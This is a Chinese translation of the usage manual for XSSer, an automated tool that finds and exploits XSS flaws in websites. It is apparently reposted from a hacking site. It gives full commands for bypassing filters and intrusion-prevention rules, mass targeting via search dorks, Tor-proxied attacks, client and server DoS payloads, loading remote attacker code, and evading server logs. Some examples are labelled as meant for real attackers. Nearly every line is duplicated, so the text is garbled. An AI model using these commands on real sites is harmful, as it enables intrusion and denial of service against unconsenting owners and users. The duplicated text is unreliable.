来源:https://www.cqhacker.cn/post-174.html
XSSer使用说明
================================================================
简介:
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).
================================================================
选项与设置:
==============================
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]
选项与设置:
==============================
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]
Options:
--version 显示程序的版本号
-h, --help 显示帮助信息
-s, --statistics 显示高级显示输出结果
-v, --verbose 激活冗余模式输出结果
--gtk 加载 XSSer GTK 接口
--version 显示程序的版本号
-h, --help 显示帮助信息
-s, --statistics 显示高级显示输出结果
-v, --verbose 激活冗余模式输出结果
--gtk 加载 XSSer GTK 接口
*特别的用法*:
你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:
你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:
--imx=IMX 利用XSS代码植入来创建一个假的图象
--fla=FLASH 利用XSS代码植入来创建一个假的swf
--fla=FLASH 利用XSS代码植入来创建一个假的swf
*选择目标*:
至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:
至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:
-u URL, --url=URL 键入目标URL进行分析
-i READFILE 从一个文件中读取URL
-d DORK 利用搜索引擎傻瓜式的搜索URL
--De=DORK_ENGINE 傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)
-i READFILE 从一个文件中读取URL
-d DORK 利用搜索引擎傻瓜式的搜索URL
--De=DORK_ENGINE 傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)
*现则HTTP/HTTPS的连接类型*:
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
-g GETDATA 输入一个负荷来进行审计,使用 GET参数 (例如: '/menu.php?q=')
-p POSTDATA 输入一个负荷来进行审计,使用 POST 参数(例如: 'foo=1&bar=')
-c CRAWLING 目标URL的爬行数目(s): 1-99999
--Cw=CRAWLER_WIDTH 爬行深度: 1-5
--Cl 本地目标URL爬行 (默认 TRUE)
-p POSTDATA 输入一个负荷来进行审计,使用 POST 参数(例如: 'foo=1&bar=')
-c CRAWLING 目标URL的爬行数目(s): 1-99999
--Cw=CRAWLER_WIDTH 爬行深度: 1-5
--Cl 本地目标URL爬行 (默认 TRUE)
*安装 请求*:
这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:
这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:
--cookie=COOKIE 改变你的HTTP Cookie header
--user-agent=AGENT 改变你的 HTTP User-Agent header (默认 SPOOFED)
--referer=REFERER 使用别的HTTP Referer header (默认 NONE)
--headers=HEADERS 额外的 HTTP headers 换行隔开
--auth-type=ATYPE HTTP 认证类型 (基本值类型或者摘要)
--auth-cred=ACRED HTTP 认证证书 (值 name:password)
--proxy=PROXY 使用代理服务器 (tor: http://localhost:8118)
--timeout=TIMEOUT 设定时间延迟 (默认 30)
--delay=DELAY 设定每一个 HTTP request值 (默认 8)
--threads=THREADS 最大数目的 HTTP requests并发 (默认 5)
--retries=RETRIES 连接超时重试 (默认 3)
--user-agent=AGENT 改变你的 HTTP User-Agent header (默认 SPOOFED)
--referer=REFERER 使用别的HTTP Referer header (默认 NONE)
--headers=HEADERS 额外的 HTTP headers 换行隔开
--auth-type=ATYPE HTTP 认证类型 (基本值类型或者摘要)
--auth-cred=ACRED HTTP 认证证书 (值 name:password)
--proxy=PROXY 使用代理服务器 (tor: http://localhost:8118)
--timeout=TIMEOUT 设定时间延迟 (默认 30)
--delay=DELAY 设定每一个 HTTP request值 (默认 8)
--threads=THREADS 最大数目的 HTTP requests并发 (默认 5)
--retries=RETRIES 连接超时重试 (默认 3)
*系统验校器*:
这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:
这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:
--hash 如果目标重复内容,则每次检测hash
(对预知可能错误的结果非常有用)
--heuristic 启发式的设置才检测那些脚本会被过滤: ;\/<>"'=
(对预知可能错误的结果非常有用)
--heuristic 启发式的设置才检测那些脚本会被过滤: ;\/<>"'=
*选择 攻击向量(s)*:
这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
请使用默认参数. 只有一个选项:
这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
请使用默认参数. 只有一个选项:
--payload=SCRIPT OWN - 插入你手动构造的XSS 语句-
--auto AUTO - 从文件中插入 XSSer '报告' 向量
--auto AUTO - 从文件中插入 XSSer '报告' 向量
*选择 Bypasser(s)*:
这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
. 总之, 能结合其他的技巧 来提供编码:
这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
. 总之, 能结合其他的技巧 来提供编码:
--Str 使用 String.FromCharCode()方法
--Une 使用 Unescape() 函数
--Mix 最小的 String.FromCharCode() 函数 和 Unescape()函数
--Dec 使用小数编码
--Hex 使用16进制编码
--Hes 使用带分号的16进制编码
--Dwo 编码IP地址向量为双字节
--Doo 编码IP地址向量为八进制
--Cem=CEM 手动尝试不同的字符编码
(反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')
--Une 使用 Unescape() 函数
--Mix 最小的 String.FromCharCode() 函数 和 Unescape()函数
--Dec 使用小数编码
--Hex 使用16进制编码
--Hes 使用带分号的16进制编码
--Dwo 编码IP地址向量为双字节
--Doo 编码IP地址向量为八进制
--Cem=CEM 手动尝试不同的字符编码
(反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')
*特殊的技巧*:
这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:
这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:
--Coo COO - 跨站脚本Cookies注入
--Xsa XSA - 跨站Agent 脚本
--Xsr XSR - 跨站 Referer 脚本
--Dcp DCP - DCP注入
--Dom DOM - DOM注入
--Ind IND - HTTP 包含代码的快速响应
--Anchor ANC - 使用影子攻击负荷 (DOM 影子!)
--Xsa XSA - 跨站Agent 脚本
--Xsr XSR - 跨站 Referer 脚本
--Dcp DCP - DCP注入
--Dom DOM - DOM注入
--Ind IND - HTTP 包含代码的快速响应
--Anchor ANC - 使用影子攻击负荷 (DOM 影子!)
*Select Final injection(s)*:
这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option:
这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option:
--Fp=FINALPAYLOAD OWN - 手动插入注入代码-
--Fr=FINALREMOTE REMOTE - 远程插入注入代码
--Doss DOSs - XSS 对服务端的拒绝服务攻击注入
--Dos DOS - XSS 对客户端的拒绝服务攻击注入
--B64 B64 - META标签 Base64编码(rfc2397)
--Fr=FINALREMOTE REMOTE - 远程插入注入代码
--Doss DOSs - XSS 对服务端的拒绝服务攻击注入
--Dos DOS - XSS 对客户端的拒绝服务攻击注入
--B64 B64 - META标签 Base64编码(rfc2397)
*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code):
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code):
--Onm ONM - 使用 MouseMove() 事件注入代码
--Ifr IFR - 使用 <iframe>资源标签注入代码
--Ifr IFR - 使用 <iframe>资源标签注入代码
*混杂模式*:
--silent 禁止控制台输出结果
--update 检查XSSer 最新稳定版本
--save 直接输入结果到模版文件 (XSSlist.dat)
--xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)
--publish 输出 'positives'本地网络 (identi.ca)
--short=SHORTURLS 显示最后的短代码 (tinyurl, is.gd)
--launch 发现的每个XSS都在浏览器进行测试
--silent 禁止控制台输出结果
--update 检查XSSer 最新稳定版本
--save 直接输入结果到模版文件 (XSSlist.dat)
--xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)
--publish 输出 'positives'本地网络 (identi.ca)
--short=SHORTURLS 显示最后的短代码 (tinyurl, is.gd)
--launch 发现的每个XSS都在浏览器进行测试
================================================================
用法举例:
==============================
用法举例:
==============================
* 从URL进行简单XSS注入:
$ python XSSer.py -u "
http://host.com"
-------------------
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:
$ python XSSer.py -i "file.txt" --proxy "
http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):
$ python XSSer.py -u "
http://host.com" --proxy "
http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):
$ python XSSer.py -u "
http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:
$ python XSSer.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):
$ python XSSer.py --De "duck" -d "search.php?"
-------------------
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):
$ python XSSer.py -c3 --Cw=4 -u "
http://host.com"
-------------------
* 从URL简单注入, 使用POST方式, 并且统计结果:
* 从URL简单注入, 使用POST方式, 并且统计结果:
$ python XSSer.py -u "
http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):
$ python XSSer.py -u "
http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):
$ python XSSer.py -u "
http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
-------------------
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:
$ python XSSer.py -u "
http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):
$ python XSSer.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "
http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.
$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"
-------------------
* 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.
* 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.
$ python XSSer.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看 http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看 http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)
$ python XSSer.py -d "login.php" --De "duck" --publish
* 在线例子:
-------------------
* 使用XSS代码注入创建一个 .swf 文件
* 使用XSS代码注入创建一个 .swf 文件
$ python XSSer.py --imx "name_of_file"
-------------------
* 如果目标产生错误的结果,则每次发送一个检测hash。
* 如果目标产生错误的结果,则每次发送一个检测hash。
$ python XSSer.py -u "host.com" --check
-------------------
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.
$ python XSSer.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch